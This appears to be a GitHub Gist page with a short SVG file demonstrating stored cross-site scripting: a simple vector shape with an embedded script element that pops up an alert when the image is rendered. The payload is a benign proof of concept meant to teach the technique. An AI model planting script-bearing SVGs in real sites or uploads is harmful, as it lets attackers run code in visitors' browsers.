Last active
January 30, 2022 13:40
-
-
Save ThomasRettig/61e689ec863f9827f5b1a566d4130b35 to your computer and use it in GitHub Desktop.
Demonstration of how SVG can be expolited to execute cross-site scripting attacks.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <svg xmlns="http://www.w3.org/2000/svg" id="svg8" version="1.1" viewBox="0 0 198.4375 52.916666"> | |
| <g id="layer1" transform="translate(-9.8676114 4.8833333)"> | |
| <path id="path3725-5" fill="#131f6b" fill-opacity="1" stroke-width=".05937638" d="m107.79557-10.430538-7.33315-.02213-3.647402-6.361755 3.685742-6.339624 7.33314.02213 3.64741 6.361756z" transform="scale(1 -1)"/> | |
| <!--Inject a little script which alerts the user that the XSS attack has successfully executed--> | |
| <script type="text/javascript"> | |
| alert("This is an example of a stored XSS attack in an SVG image") | |
| </script> | |
| </g> | |
| </svg> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Output in browser (Windows):
